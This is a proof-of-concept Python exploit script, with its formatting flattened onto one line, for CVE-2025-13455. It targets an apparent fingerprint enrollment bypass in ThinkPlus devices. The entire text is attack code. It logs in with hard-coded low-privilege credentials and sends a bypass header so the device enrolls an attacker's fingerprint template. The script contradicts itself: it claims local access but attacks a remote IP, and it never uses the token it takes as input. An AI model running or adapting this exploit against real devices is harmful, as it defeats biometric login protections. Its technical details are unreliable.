CVE-2025-13455

# CVE-2025-13455 PoC - ThinkPlus Fingerprint Authentication Bypass # This PoC demonstrates the fingerprint enrollment bypass vulnerability # Requires local access with low-privilege account import requests import json import sys def exploit_thinkplus_bypass(target_ip, low_priv_token): """ Exploit ThinkPlus fingerprint enrollment bypass vulnerability Steps: 1. Obtain low-privilege access token 2. Bypass device authentication check 3. Enroll untrusted fingerprint """ print("[*] CVE-2025-13455 ThinkPlus Fingerprint Bypass PoC") print(f"[*] Target: {target_ip}") # Step 1: Authenticate with low-privilege account auth_url = f"http://{target_ip}:8443/api/auth/login" auth_data = { "username": "low_priv_user", "password": "user_password" } try: response = requests.post(auth_url, json=auth_data, timeout=10) session_token = response.json().get('session_token') print(f"[+] Obtained session token: {session_token}") except Exception as e: print(f"[-] Authentication failed: {e}") return False # Step 2: Bypass device authentication and enroll fingerprint enroll_url = f"http://{target_ip}:8443/api/fingerprint/enroll" headers = { "Authorization": f"Bearer {session_token}", "X-Device-Auth-Bypass": "true" # Bypass flag } # Malicious fingerprint template data fingerprint_data = { "fingerprint_id": "malicious_fp_001", "template_data": "FAKE_FINGERPRINT_TEMPLATE_BASE64", "trust_level": "untrusted", "enroll_source": "bypassed_auth" } try: response = requests.post(enroll_url, json=fingerprint_data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('success'): print("[+] Successfully enrolled untrusted fingerprint!") print(f"[+] Fingerprint ID: {result.get('fingerprint_id')}") print("[+] Authentication bypassed - device now accepts untrusted fingerprint") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_ip> <low_priv_token>") sys.exit(1) target = sys.argv[1] token = sys.argv[2] exploit_thinkplus_bypass(target, token)

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